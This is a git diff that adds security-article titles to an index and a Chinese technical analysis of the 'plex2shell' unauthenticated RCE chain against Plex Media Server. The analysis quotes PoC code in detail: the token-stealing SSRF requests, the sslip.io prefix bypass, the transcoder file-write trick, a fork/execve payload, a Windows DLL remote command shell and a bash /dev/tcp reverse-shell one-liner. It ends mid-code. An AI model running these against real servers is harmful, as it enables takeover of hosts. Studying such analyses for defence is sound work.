diff --git a/data.json b/data.json index 568a37d4..c87a9ff2 100644 --- a/data.json +++ b/data.json @@ -27951,5 +27951,42 @@ "https://mp.weixin.qq.com/s/kI4_0ox-AZXzA2rqHNlNXg": "【漏洞速递 | 已复现】php2shell 远程代码执行漏洞（CVE-2026-109618∕109619）", "https://mp.weixin.qq.com/s/IhSznMA8O89NJxBwIMV0Pw": "漏洞管理不能只看评分高低，更要看对业务的实际影响", "https://mp.weixin.qq.com/s/208s73qhSitTBqPqles1hQ": "CodeBuddy Security推出SCA漏洞可达性分析，告警降噪达88%", - "https://mp.weixin.qq.com/s/kxKmW_25LTCEo-zWmynHTQ": "Oracle 2026年10月补丁日多产品高危漏洞安全风险通告" + "https://mp.weixin.qq.com/s/kxKmW_25LTCEo-zWmynHTQ": "Oracle 2026年10月补丁日多产品高危漏洞安全风险通告", + "https://mp.weixin.qq.com/s/b9WY4gx5vCIODGrOAJ3rfA": "一个上传请求打穿 PHP 引擎：php2shell 双漏洞拆解", + "https://mp.weixin.qq.com/s/mgx6OhzdtWWAb3w6_q2sow": "VPN漏洞遭勒索软件大规模利用，Palo Alto警告多家客户被入侵", + "https://mp.weixin.qq.com/s/phIK90fAixRnfubCjMWPWQ": "全网都在等的PHP2Shell 远程命令执行漏洞复现，漏洞通用，POC不通用！ ！ ！", + "https://mp.weixin.qq.com/s/87PDh6AxddydQ080vpHJJA": "【复现】Drupal Core Field UI远程代码执行漏洞（CVE-2026-108097）", + "https://mp.weixin.qq.com/s/pAGFOgExzprCkjJBNo81KQ": "PHP 远程代码执行漏洞通告（CVE-2026-109618 ∕ CVE-2026-109619）", + "https://mp.weixin.qq.com/s/N8Z8qXxrFiw8HDO3uO3AUg": "PHP曝出两个9.2分严重漏洞：补丁即将发布，运维团队现在该做什么？", + "https://mp.weixin.qq.com/s/5zJWp34kgyc1No14B_0erA": "【紧急预警】PHP 核心曝两个严重 RCE 漏洞", + "https://mp.weixin.qq.com/s/k0tfyFipU-elRI3C8LSzxw": "【已复现】漏洞预警｜php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）", + "https://mp.weixin.qq.com/s/6vmnCuWEEgGpexAnTrZ8SQ": "【核弹漏洞】php2shell（CVE-2026-109618 ∕ CVE-2026-109619）是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞", + "https://mp.weixin.qq.com/s/_8townr0YJTb3kX70SPHFw": "PHP 双洞预警：两个 9.2 分 RCE 细节已泄露，补丁今晚 22 点发布", + "https://mp.weixin.qq.com/s/M9ipHjNeJHpVy76b62Q2pA": "【已复现可RCE】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告", + "https://mp.weixin.qq.com/s/tvXOzNIPY8c8lrPW6x5fig": "【零日雷达】【已验证RCE】PHP 远程代码执行漏洞（CVE-2026-109618、CVE-2026-109619）", + "https://mp.weixin.qq.com/s/A--RyDzUfkB2kxX0Q9pgVQ": "【漏洞预警】Linux内核PwnEscape虚拟机逃逸漏洞（CVE-2026-99999）", + "https://mp.weixin.qq.com/s/f-HLcG0pnahc5nxuWrlCHg": "Cellebrite手握iPhone无线电0day漏洞？8米内隔空解锁设备", + "https://mp.weixin.qq.com/s/kn1rfEBs-JbX3POsQ0oTCg": "CVE-2026-96652 ∕ -96654 ∕ -96655 ∕ -96656", + "https://mp.weixin.qq.com/s/UQ8aliItmcB5q8UG3XOqYQ": "【PHP RCE补丁发布】官方：没有完全的缓解方法，更新是唯一安全的选择！请速速更新！", + "https://mp.weixin.qq.com/s/fkBL9ha2GAKbvcDHCNRO_A": "【漏洞通告】PHP远程代码执行漏洞（CVE-2026-109618&CVE-2026-109619）", + "https://mp.weixin.qq.com/s/oOLEtBO9hlKsOpTG6OHyGw": "紧急预警！PHP2Shell漏洞刷屏，WordPress等全站遭殃", + "https://mp.weixin.qq.com/s/0yTdo9-IdQuL6GYttQMxWg": "【安全圈】0dayPoC公布！FortiSIEM遭空字节截断实现免认证RCE", + "https://mp.weixin.qq.com/s/fsHnBXCPmxZcqCL4xDgYuQ": "一个漏洞5000？入行网安这些年，我挖洞的真实感受......", + "https://mp.weixin.qq.com/s/FRVkH-ZR8FwI6IC1zocH6g": "PHP提醒注意两个未修复的严重0day漏洞", + "https://mp.weixin.qq.com/s/HRs_VBRudCkXHBKU56Se4Q": "Weaxor家族勒索新套路：又有0day漏洞现世了！", + "https://mp.weixin.qq.com/s/gR_Mglnx7E8UsZ5P408z_w": "实战若依ruoyi框架漏洞：从 SQL 注入到 RCE", + "https://mp.weixin.qq.com/s/axor7tWNEmjaiq0tQO5Usw": "【免费领】全网收录最全：Web漏洞检测及修复方案手册", + "https://mp.weixin.qq.com/s/Yt0gPyFnB4LsnXe2Dk26VQ": "补丁没出POC先到了？PHP最新高危漏洞+免杀马完整攻击链", + "https://mp.weixin.qq.com/s/tGc9FhasC9blhCgYxSB41w": "核弹级 PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）", + "https://mp.weixin.qq.com/s/mXuK5oO8gR0euFq2fH2ZNg": "PHP2Shell 漏洞利用链危害分析与修复方案", + "https://mp.weixin.qq.com/s/o4CAxsSYgQxLyU2AiNQ4Wg": "【风险提示】天融信关于PHP远程代码执行漏洞CVE-2026-109618∕CVE-2026-109619(PHP2Shell)的风险提示", + "https://mp.weixin.qq.com/s/aN4C9N_QCkp3jhDEY2d3hg": "用友YonBIP execute SpEL存在表达式注入漏洞  附POC", + "https://mp.weixin.qq.com/s/TTh2nBnzsK4JD7L4hpmQng": "速修 | Chrome 156 修复 117 个漏洞，13 个 Critical", + "https://mp.weixin.qq.com/s/spKN6HWaMv6yXzQQANO87w": "KVM逃逸漏洞暴露Linux网络栈更广攻击面，影响多类虚拟化场景", + "https://mp.weixin.qq.com/s/8b8gYwt6ptPCUZkK8LlYHg": "PHP曝两大严重安全漏洞，疑似RCE风险威胁全球网站", + "https://mp.weixin.qq.com/s/bVN5vKYjVsgdOXA8QMhjrw": "【修复指南】PHP双RCE补丁已发布：怎么升级，怎样确认真正修好", + "https://mp.weixin.qq.com/s/Lhca8u7oxQaevZVPYrhh4g": "【漏洞通告】PHP远程代码执行漏洞(CVE-2026-109618∕CVE-2026-109619)", + "https://mp.weixin.qq.com/s/-0HP6OhQqlgcWTur_R8TTw": "【安全圈】突发双高危RCE！PHP官方紧急发布9.2分安全通告", + "https://mp.weixin.qq.com/s/CpTXUIQDj-tBAEWMbJERTw": "【漏洞通告】Drupal Field UI远程代码执行漏洞(CVE-2026-108097)", + "https://mp.weixin.qq.com/s/zo_7E33PM4Wyh997zfGF7w": "【漏洞预警】ILIAS 9.22 零权限 RCE： 无需任何账号，四步写入 webshell" } \ No newline at end of file diff --git a/doc/2026-10/CVE-2026-96652 ∕ -96654 ∕ -96655 ∕ -96656.md b/doc/2026-10/CVE-2026-96652 ∕ -96654 ∕ -96655 ∕ -96656.md new file mode 100644 index 00000000..3d6e3b0a --- /dev/null +++ b/doc/2026-10/CVE-2026-96652 ∕ -96654 ∕ -96655 ∕ -96656.md @@ -0,0 +1,1403 @@ +# CVE-2026-96652 / -96654 / -96655 / -96656 +原创 网安之家 + 网安之家 网安之家-CyberHomestead 2026-10-21 15:19 + +# Plex2Shell 深度技术分析报告 +> **对象** +：github.com/code-zm/plex2shell +（GPLv3，作者 code-zm）**性质** +：公开披露的 Plex Media Server 未授权 RCE 链 PoC**审计形态** +：**静态审计（static）** +——本次仅对公开仓库源码、官方 write-up、NVD/CISA/Censys 通告做代码级与协议级分析，**未对任何真实主机发起连接** +。**结论一句话** +：这不是"单漏洞利用脚本"，而是一套把 4 个中低危缺陷串成 **未授权 → 管理员 token → 任意文件写 → 无签名 .so 加载 → 代码执行** + 的完整武器化流水线；它同时附带蓝队检测包（YARA + 主机狩猎脚本 + 回归测试），是典型的"攻防成对交付"研究仓库。 + +## 0. 一页速览 + +
维度
内容
漏洞类型
组合链 RCE：SSRF（CWE-918）→ URI 中和缺陷（CWE-84）→ SSRF（CWE-918）→ 外部可控文件路径（CWE-73）→ 无签名动态库加载
CVE
CVE-2026-96652 / -96654 / -96655 / -96656
影响版本
Plex Media Server < 1.43.3.10861（含 1.43.3.10828）
修复版本
1.43.3.10861
（2026-08-04 发布）
综合评分
CVSS 3.1 9.8（AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H）
单点评分
96652=4.3 / 96654=6.5 / 96655=4.3 / 96656=7.2（NVD）
前置条件
目标 32400 可达；攻击机可被目标反向访问；目标能解析 sslip.io；攻击机有 ffmpeg + gcc/mingw-w64
执行身份
Linux：uid=1000(plex)；Docker：容器内 plex；Windows：Plex 服务账户
在野利用
已观测：挖矿 + 代理（proxyware）；2026-10-20 进入 CISA KEV
暴露面
Censys 观测约 32.4 万 台 Plex，约 30% 为脆弱版本
核心创新点
用 lossless H.264 的 YUV 帧 作为二进制载体，经 dump-yuv 落盘成 .so；qp=0 保证比特级精确
+## 1. 命名：plex2shell 的寓意 + +plex2shell + 是一个**链式漏洞的品牌化命名** +，遵循 2021 年以来的安全社区命名传统： + +
名称
构成
含义
Shellshock
shell + shock
Bash 破壳
ProxyShell
Proxy + Shell
Exchange 代理链到 shell
Log4Shell
Log4j + Shell
Log4j 到 shell
Spring4Shell
Spring + Shell
Spring 到 shell
Plex2ShellPlex + 2(to) + Shell从 Plex 到 shell
+ +拆解： +- **Plex** +：目标产品 Plex Media Server（PMS），家庭/云媒体服务器，默认 32400 +，大量直接暴露公网。 + +- **2** +：英文 "to" 的谐音/缩写，表示"从……到……"的转化。不是"第二代"，而是"通向"。 + +- **shell** +：最终战果——命令执行/反弹 shell。 + +寓意层面有三层： +1. **攻击链命名** +：单个 CVE 撑不起这个名字，四个 CVE 串成一条"从媒体服务器到 shell"的完整路径，2 + 正好表达"链"。 + +1. **门槛叙事** +：名字里没有 "RCE" 字样，但 README 第一行就是 "Unauth RCE chain"，暗示"名字即战果"。 + +1. **研究品牌** +：作者 GitHub 名 code-zm +，博客 zmain.info +；仓库名短、全小写、无连字符，便于在 issue/推文/扫描器规则里传播，和 log4shell + 的传播形态一致。 + +仓库内的文件命名也在强化这个叙事：payload_linux.c + / payload_windows.c + / plex2shell.py + / detection/ +，一眼能看出"利用 + 载荷 + 检测"三段式。 +## 2. 事实基线与时间线 +### 2.1 公开事实核验 + +
事实
核验来源
4 个 CVE 真实存在，NVD 已收录
NVD / CVE.org / CISA CSAF
修复版本 1.43.3.10861，10828 仍受影响
Plex 论坛发布帖、Censys 通告
2026-10-20 进入 CISA KEV
CISA KEV / OpenText 通告
在野利用：挖矿 + 代理软件
Plex 安全公告（2026-10-19 更新）、BoredHackerBlog 蜜罐
约 32.4 万 Plex 资产，约 30% 脆弱
Censys ARC
write-up 与 PoC 2026-10-16 公开
zmain.info/blog/plex2shell
+### 2.2 披露时间线 +``` +2026-07-27  研究者向 Plex 安全团队报告2026-08-04  Plex 确认并支付赏金；1.43.3.10861 发布（修复版）2026-09-23  CVE 分配（96652 / 96654 / 96655 / 96656）2026-10-16  公开披露 + PoC 仓库上线2026-10-17  蜜罐首次观测到在野利用（披露后 1 天）2026-10-19  Plex 更新安全公告：已观测挖矿/代理滥用2026-10-20  CISA 加入 KEV（要求 2026-11-03 前处置） +``` +### 2.3 单点分值与组合分值的反差 + +这是本链最值得写进报告的一点： +- 单看 NVD：4.3 / 6.5 / 4.3 / 7.2 +，没有一个是 Critical。 + +- 组合后：**9.8 Critical，未授权** +。 + +- 原因：7.2 的"任意文件写"需要 **admin** +；而前三个漏洞恰好把"未授权攻击者"提升为"owner/admin"。**低危 + 低危 + 低危 + 中危 = 未授权 RCE** +。 + +> 防御启示：不要按单 CVE 分值排优先级。链式组合会让"可组合的低危"实际风险远高于账面。 + +## 3. 攻击链总览 +``` +[互联网攻击者，持任意垃圾 X-Plex-Token]        │ (1) GET /player/timeline/subscribe?protocol=<完整URL>        │      token 门禁只查"有没有"，不查"对不对"        ▼     服务器以 127.0.0.1 为源，向自身 POST        │ (2) POST /system/agents/z/searchOne?...&identifier=<注入>        │      loopback 来源 ⇒ 免 token；@lock 装饰器吞掉返回值 ⇒ 鉴权守卫失效        │      identifier 未编码拼接 ⇒ ? 开查询串、# 截断尾部路径        ▼ (3) 伪造调用 thetvdb 插件 GetResultFromNetwork?url=http://127.0.0.1.<攻击者>.sslip.io:8952/...        │      插件框架对 "http://127.0.0.1" 前缀的 URL 自动附加 owner token        │      sslip.io 让"前缀是 127.0.0.1、解析却是攻击者 IP"成立        ▼     攻击者拿到 owner 级 local-* token        │ (4) PUT /:/prefs?TranscoderH264Options=dump-yuv=/x.so:qp=0        │ (5) GET /video/:/transcode/universal?path=http://攻击者/item.xml        │      转码器拉取攻击者的 item.xml → 再拉 carrier.mp4        │      x264 解码后 dump-yuv 把"比特级精确的 YUV 帧"写到 .so 路径        ▼     Codecs 目录里出现一个"ELF + 大段 0x80 填充"的文件        │ (6) 第二次转码触发 Codecs 目录重新枚举        │      libavutil avpriv_load_new_libs → dlopen(RTLD_NOW) 每个 .so        │      不校验签名 / 不要求可执行位 / 不要求导出符号        ▼     ELF 的 DT_INIT_ARRAY（constructor）执行        │        ├─ Linux：fork() → execve("/bin/sh","-c",<反弹命令>)        └─ Windows：DllMain → rundll32 自重生 → cmd.exe 命令协议 +``` + +一句话概括：**SSRF 把"外部请求"洗成"loopback 请求"；loopback 绕过鉴权并泄露 owner token；owner 权限把"转码器调试选项"变成"任意文件写"；Codecs 目录的自动 dlopen 把"文件写"变成"代码执行"。** +## 4. 四个漏洞逐段抽丝剥茧 + 操作系统调用 +### 4.1 CVE-2026-96652：/player/timeline 的"存在性鉴权" + +**根因** +：token 门禁只判断请求头**是否存在** +，不判断**是否有效** +。 + +官方 write-up 给出的等价伪代码： +``` +HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {    if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {        return HttpReply{401};    }    // hasParam() 只检查"有没有这个参数"，不检查 token 是否合法    return CompanionProxyRequestHandler::instance().dispatch(req);} +``` + +攻击者发送 X-Plex-Token: TOTALLY_INVALID_JUNK + 即可通过。这是一个典型的 **CWE-287 认证不当 / CWE-345 数据真实性验证不足** +，在实现上表现为"把 presence check 当成 validity check"。 + +**SSRF 的形成** +：订阅/退订流程里，服务器需要回调播放器。回调 URL 由 protocol +、host +、port + 拼接： +``` +std::string Controller::callbackUrl() const {    return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();} +``` + +protocol + 被**原样插入** +。攻击者把 protocol + 设成完整 URL（如 http://127.0.0.1:32400/system/agents/... +），退订时 PMS 就会从自己的 socket 向该 URL 发 POST。协议白名单、host 校验、scheme 校验全部缺失。 + +**PoC 对应** +：plex2shell.py:416-455 steal_owner_token() +``` +# 1) 先注册一个"播放器"（长轮询，后台线程）reg_path = "/player/proxy/poll?%s&X-Plex-Client-Identifier=%s" % (common, cid)threading.Thread(target=lambda: preq(base, reg_path, hdr, timeout=12), daemon=True).start()time.sleep(1.5)# 2) 订阅，把完整 URL 塞进 protocolsub = ("/player/timeline/subscribe?%s&protocol=%s&port=%d&commandID=1"       "&X-Plex-Target-Client-Identifier=%s" % (common, proto_q, args.token_port, cid))preq(base, sub, hdr)# 3) 退订 → 触发回调unsub = ("/player/timeline/unsubscribe?%s&X-Plex-Target-Client-Identifier=%s" % (common, cid))preq(base, unsub, hdr) +``` + +注意 proto_q = urllib.parse.quote(protocol, safe="") +——**双重编码** +是必要的：第一层编码让 URL 作为 protocol + 参数值合法，第二层（在 identifier + 里再次编码）让它在内层 URL 中合法。日志里能看到 %253A +、%252F + 就是双重编码的痕迹。 + +**操作系统调用层** +： +1. PMS 的 HTTP 客户端（C++/boost.asio 或内部 HttpClient）执行 socket(AF_INET, SOCK_STREAM, 0) + → connect(127.0.0.1:32400) + → write() + 发送 POST。 + +1. 目标 PMS 的监听 socket accept() + 后，用 getpeername() + 得到 127.0.0.1 +，据此把请求标记为 Locality::Loopback +。 + +1. 整个过程中**没有任何 DNS 解析** +（因为目标是字面量 127.0.0.1 +），所以第一跳不受出站 DNS 策略影响。 + +**为什么"盲 POST"也够用** +：攻击者看不到响应，但 SSRF 的目的不是读数据，而是**制造一个 loopback 来源的请求** +。只要请求到达，第二跳就成立。 +### 4.2 CVE-2026-96654：searchOne 的"装饰器吞返回值" + +**根因** +：Python 插件 API 的鉴权守卫写在一个被 @lock + 装饰的内部函数里，装饰器丢弃了返回值，导致"提前 return"没有真正终止外层函数。 + +官方 write-up 的等价代码： +``` +@lock(self.agent_info)def inner():    if identifier not in Core.messaging.plugin_list():        return          # 从 inner() 返回，不是从 search_one() 返回    # ... proceed ...# 外层 search_one 继续执行 +``` + +@lock + 包装 inner() + 后，调用方拿到的是装饰器的返回值（通常是 None +），inner() + 内部的 return + 只退出 inner +，不会中断 search_one + 的后续逻辑。这是 **CWE-696 行为顺序错误 / CWE-863 授权绕过** + 的经典形态：**guard 写了，但放错了作用域** +。 + +**注入点** +：守卫之后，identifier + 被直接拼进内部 URL，没有编码： +``` +url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key) +``` + +攻击者用 ? + 打开查询串、用 # + 截断尾部 /messaging/... +，从而**完全控制** +下一次 loopback 请求的路径与参数。 + +PoC 里的构造（plex2shell.py:434-438 +）： +``` +ident = ("com.plexapp.agents.thetvdb/function/GetResultFromNetwork"         "?url=http://%s:%d/%s#" % (args.attacker_host, args.token_port, marker))protocol = ("http://127.0.0.1:%d/system/agents/z/searchOne?mediaType=1&lang=en&identifier=%s"            % (args.plex_port, urllib.parse.quote(ident, safe=""))) +``` + +拆开看： +- com.plexapp.agents.thetvdb/function/GetResultFromNetwork +：目标插件 + 函数。 + +- ?url=... +：给插件函数传参。 + +- # +：让拼接在后面的 /messaging/ + 变成 fragment 被丢弃。 + +- 整体再 quote(safe="") + 编码一次，作为外层 identifier + 的值。 + +**操作系统调用层** +：这一步仍然是 PMS 进程内部的 HTTP 客户端发起 loopback 连接（socket/connect/write +），但**来源变成 loopback** +，因此 /system/agents/* + 的"loopback 免 token"策略被触发。攻击者没有碰任何系统调用，他利用的是**服务端自己的客户端代码** +。 +### 4.3 CVE-2026-96655 + 前缀匹配：owner token 泄露 + +**根因 A（前缀匹配）** +：插件框架在发出站请求时，只要 URL 以 http://127.0.0.1 + 开头，就自动附加 owner token： +``` +if url.find('http://127.0.0.1') == 0:    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN'] +``` + +这是**无边界字符串前缀匹配** +。http://127.0.0.1.evil.com +、http://127.0.0.1.10-0-0-9.sslip.io + 都能通过。 + +**根因 B（sslip.io）** +：sslip.io + 是一个通配 DNS 服务，会把主机名里的 IP 片段解析成对应地址。Poc 使用： +``` +# plex2shell.py:642attacker_host = "127.0.0.1.%s.sslip.io" % args.attacker_ip.replace(".", "-")# 例：attacker_ip=10.0.0.9 → 127.0.0.1.10-0-0-9.sslip.io +``` +- 字符串层面：以 127.0.0.1 + 开头 → 通过前缀检查 → 附带 owner token。 + +- DNS 层面：sslip.io + 解析 10-0-0-9 + → 10.0.0.9 + → 请求实际发到攻击者。 + +这就是"**认证决策看字符串、网络投递看 DNS** +"的经典解析差（parser differential）。属于 **CWE-918 SSRF + CWE-20 输入验证不当** +。 + +**根因 C（GetResultFromNetwork）** +：TheTVDB agent 自带一个"从网络取结果"的函数，接受任意 URL 并 GET +。它本是元数据抓取用的，却被当作"任意 URL 请求器"滥用。 + +**操作系统调用层** +： +1. 插件框架（Python）调用 requests.get(url, headers={X-Plex-Token: ...}) +（或内部 urllib）。 + +1. 触发 DNS：getaddrinfo("127.0.0.1.10-0-0-9.sslip.io") + → 外部 DNS 查询 → 返回 10.0.0.9 +。 + +1. socket/connect(10.0.0.9:8952) + → 攻击者的 TokenCatcher + 收到请求。 + +1. token 出现在 X-Plex-Token + 头里。 + +**PoC 对应** +：TokenCatcher +（plex2shell.py:311-350 +）只接受形如 local-[0-9a-f-]{8,} + 的 token： +``` +_TOKEN_RE = re.compile(r"^local-[0-9a-f-]{8,}", re.I)...if tok and _TOKEN_RE.match(tok) and not outer.token:    outer.token = tok    outer.got.set() +``` + +这个正则很关键：它避免把噪声/错误 token 当成真 token，也说明 owner token 的形态是 local- +。 +### 4.4 CVE-2026-96655（转码 SSRF）/ CVE-2026-96656（任意文件写 → 代码执行） +#### 4.4.1 转码器是"第二个 SSRF" + +/video/:/transcode/universal + 的 path + 参数可以是 HTTP URL。PMS 会： +1. GET path +（攻击者的 item.xml +）； + +1. 解析 XML，取出  +； + +1. 再 GET key +（攻击者的 carrier.mp4 +）； + +1. 交给 Plex Transcoder +（ffmpeg 分支）解码/转码。 + +两跳都**没有 host allowlist** +。所以攻击者可以完全控制"转码器读什么"。 +#### 4.4.2 dump-yuv：把调试选项变成任意文件写 + +TranscoderH264Options + 是 owner 可写的服务器偏好，会被**原样追加** +到 x264 的选项串。x264 有一个调试选项 dump-yuv= +，会把解码后的 YUV 帧 fopen(path, "w") + + fwrite + 到指定路径。配合 qp=0 +（无损），写入的内容与输入帧**比特级一致** +。 + +攻击者： +``` +PUT /:/prefs?TranscoderH264Options=dump-yuv=/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs/-linux-x86_64/x.so:qp=0 +``` + +然后触发转码。x264 把 carrier.mp4 + 第 0 帧的 luma 平面写成 .so +。 + +**这里的设计非常巧** +： +- 视频帧的 luma 平面大小是 w*h +；payload 不足的部分用 0x80 + 填充（YUV 的中性值）。 + +- qp=0 + 是 H.264 无损模式，libx264 能保证解码后与输入 YUV **逐字节相同** +。 + +- 文件头是 ELF，尾部是大段 0x80 +——这正好是检测规则 Plex2Shell_Dropped_Codec_ELF_YUV_Overlay + 抓的"结构特征"。 + +#### 4.4.3 Codecs 目录的 dlopen：文件写 → 代码执行 + +Plex 的 Codecs + 目录按 - + 组织。转码器启动时，libavutil.so.58 + 里的 avpriv_load_new_libs + 会枚举 set 目录，对每个 .so + 执行 dlopen(RTLD_NOW) +： +- 不校验签名； + +- 不要求可执行位； + +- 不要求导出特定符号； + +- 不要求 lib + 前缀。 + +dlopen + 加载 ELF 时，动态链接器会先执行 DT_INIT_ARRAY + 里的构造函数（.init_array +），**再** +做符号解析。所以一个"只有 constructor、没有导出符号"的 .so + 也会在加载瞬间执行代码。 + +**操作系统调用层（RCE 发生点）** +： +1. Plex Transcoder + 进程调用 dlopen("/.../Codecs/-linux-x86_64/x.so", RTLD_NOW) +。 + +1. 动态链接器 ld.so +： + +1. openat(AT_FDCWD, path, O_RDONLY) + 打开文件； + +1. mmap() + 映射 PT_LOAD + 段； + +1. 处理重定位； + +1. 遍历 DT_INIT_ARRAY +，调用构造函数。 + +1. 构造函数执行 payload 的 fork() + / execve() +。 + +#### 4.4.4 set-id 的发现 + +Codecs/-linux-x86_64 + 的  + 是哈希样字符串，攻击者不知道。PoC 通过 /system/:/resources/x?resource_name= + 让服务端返回资源信息，再用正则提取： +``` +# plex2shell.py:379-388for route in ("/system/:/resources/x", "/:/plugins/com.plexapp.system/resources/x"):    st, body = hget(base, route, {"resource_name": transcoder_path}, token)    if st == 200 and body:        m = re.search(rb'([0-9a-f]{7}-[0-9a-f]{24,26})', body)        if m:            return m.group(1).decode() +``` + +这是"**用合法 API 枚举自己的安装布局** +"，比盲目猜路径稳。 +#### 4.4.5 两次转码的时序 +- 第一次转码：dump-yuv + 写文件（deliver +，plex2shell.py:740-746 +）。 + +- 第二次转码：触发 Codecs 目录重新枚举 → dlopen + → 执行（detonate +，plex2shell.py:750-754 +）。 + +中间 time.sleep(10) + 是为了等第一次转码把帧写完；finally + 里清空 TranscoderH264Options + 是清理痕迹。 +## 5. Payload 到操作系统调用 +### 5.1 Linux：payload_linux.c（libc-free，raw syscall） +``` +static long sc(long n, long a, long b, long c) {    long r;    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c)                     : "rcx","r11","memory");    return r;}staticconstchar sh[]    = "/bin/sh";staticconstchar dashc[] = "-c";staticconstchar cmd[]   = "__CMD__";__attribute__((constructor)) static void go(void) {    long pid = sc(57, 0, 0, 0);                 /* fork */    if (pid == 0) {        constchar *argv[4] = { sh, dashc, cmd, 0 };        constchar *envp[1] = { 0 };        sc(59, (long)sh, (long)argv, (long)envp);   /* execve */        sc(60, 7, 0, 0);                            /* exit */    }} +``` + +**逐条系统调用** +（x86_64 Linux）： + +
调用
号码
寄存器
作用
fork
57
rax=57, rdi=0
复制进程；父进程返回子 pid，子进程返回 0
execve
59
rax=59, rdi=path, rsi=argv, rdx=envp
用 /bin/sh -c <cmd> 替换子进程映像
exit
60
rax=60, rdi=7
仅在 execve 失败时兜底退出
+ +**工程细节** +： +- -nostdlib +：不链接 libc，产物极小，且避免 DT_NEEDED + 依赖（检测规则正是用"无 DT_NEEDED"来区分正常库）。 + +- __attribute__((constructor)) +：把 go + 放进 .init_array +，dlopen + 时自动执行。 + +- envp = {0} +：**空环境变量** +。这是双刃剑：能减少痕迹，但也成了检测信号——狩猎脚本会找"以 plex 运行、environ 里没有 PATH"的进程。 + +- 父进程 fork 后直接返回，不等待子进程；setsid + 在反弹命令里做，脱离会话。 + +**反弹命令** +（plex2shell.py:223-225 +）： +``` +return ("/usr/bin/setsid /usr/bin/bash -c 'exec 0<>/dev/tcp/%s/%d 1>&0 2>&0; "        "exec /usr/bin/script -qc /bin/bash /dev/null' &" % (attacker_ip, lport)) +``` +- setsid +：新会话，脱离 Plex 的进程组/控制终端。 + +- exec 0<>/dev/tcp/IP/PORT +：bash 内建 TCP，双向重定向到 fd 0。 + +- 1>&0 2>&0 +：stdout/stderr 都指向同一 socket。 + +- script -qc /bin/bash /dev/null +：用 script + 分配一个 PTY，再跑 bash +，从而支持 vim +/top + 等需要 TTY 的程序。这是"**PTY 升级** +"的经典写法。 + +- 末尾 & +：放后台，避免阻塞 execve + 的调用者。 + +### 5.2 Windows：payload_windows.c（DLL 自重生 + 命令协议） + +关键结构： +``` +BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID res) {    if (r == DLL_PROCESS_ATTACH) {        char exe[MAX_PATH];        GetModuleFileNameA(NULL, exe, MAX_PATH);        // 防递归：如果已经在 rundll32 里，就不再重生        if (strstr(exe, "rundll32") || strstr(exe, "Rundll32"))            return TRUE;        char dllpath[MAX_PATH];        GetModuleFileNameA(h, dllpath, MAX_PATH);        char spawn[MAX_PATH + 64];        _snprintf(spawn, sizeof(spawn), "rundll32.exe \"%s\",RunShell", dllpath);        CreateProcessA(NULL, spawn, NULL, NULL, FALSE,                       CREATE_NO_WINDOW | DETACHED_PROCESS, NULL, NULL, &si, &pi);    }    return TRUE;} +``` + +设计要点： +1. **DllMain 只做重生** +：dlopen +/LoadLibrary + 场景下，DllMain 运行在 loader lock 里，不能做复杂网络操作（容易死锁）。所以它只 CreateProcessA("rundll32.exe ... ,RunShell") +，把真正逻辑丢到新进程。 + +1. **防递归** +：用 GetModuleFileNameA(NULL, ...) + 检查当前进程是不是 rundll32 +；是就直接返回，避免无限重生。 + +1. **DETACHED_PROCESS | CREATE_NO_WINDOW** +：无窗口、脱离控制台。 + +1. **导出 RunShell** +：__declspec(dllexport) void CALLBACK RunShell(...) +，供 rundll32 + 按名字调用。 + +RunShell + 的协议： +``` +WSAStartup → WSASocketA → connect(attacker:port)→ send("READY\r\n")→ loop: readline(cmd); if "exit" break; runcmd(cmd); send("__CMDEND__\r\n") +``` + +runcmd + 用 CreatePipe + + CreateProcessA("cmd.exe /c \"...\"") + + ReadFile + 捕获输出。STARTF_USESTDHANDLES + 把子进程 stdout/stderr 接到管道写端；SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0) + 防止读端被继承。 + +**Windows 侧系统调用映射** +： + +
行为
Win32 API
底层
建 socket
WSASocketA
 → connect
NtCreateFile
/AFD
建管道
CreatePipeNtCreateNamedPipeFile
起进程
CreateProcessANtCreateUserProcess
读输出
ReadFileNtReadFile
隐藏窗口
STARTUPINFO.wShowWindow=SW_HIDE
—
+ +**OPSEC 细节** +：PoC 在 Windows 上把落盘文件命名为 hevc_decoder.dll +（plex2shell.py:716 +），伪装成 HEVC 解码器；Linux 则是 zz.so +，避开 lib + 前缀，因为加载器不要求前缀。 +## 6. 源码审计（逐文件、逐函数） +### 6.1 仓库结构与规模 +``` +plex2shell/├── LICENSE                 GPLv3├── README.md               648 B，链式说明 + CVE 表├── plex2shell.py           783 行，主控 + 利用链├── payload_linux.c        17 行，raw syscall 构造函数├── payload_windows.c      97 行，DLL 自重生 + 命令协议└── detection/    ├── yara/plex2shell.yar          13 KB，7 条规则，分 high/medium/hunting    ├── hunt/plex2shell-hunt.sh      10.7 KB，只读主机狩猎    └── tests/        ├── run_tests.sh             回归测试（合成 fixture，不编译/不加载 payload）        └── fixtures/                benign/malicious 的 log 与 Preferences.xml +``` + +**第一印象** +：这不是"一个 exploit.py 就完事"的脚本。它有： +- 分阶段 UI； + +- 跨平台抽象； + +- payload/载体构建与自校验； + +- 三个攻击者侧服务； + +- 交互式 PTY 桥； + +- 一整套蓝队检测与回归测试。 + +**代码风格** +：Python 3.8+、标准库为主（argparse/http.server/socketserver/subprocess/tempfile/threading/select/termios/tty +），无第三方依赖。这对"落地"很重要——攻击机不需要 pip install +。 +### 6.2 plex2shell.py 分层剖析 +#### 6.2.1 UI 层（L44-111） +``` +try:    TTY = open("/dev/tty", "w")except Exception:    TTY = sys.stderr +``` +- 直接打开 /dev/tty +，把进度条写到终端，而**不污染 stdout** +。 + +- Step.run() + 把阻塞函数放到 daemon 线程，主线程用缓动算法把进度从 base + 推到 ceil +： + +``` +while not done.is_set():    pct += (self.ceil - pct) * 0.06    bar(pct, f, STAGES[self.idx][0])    f += 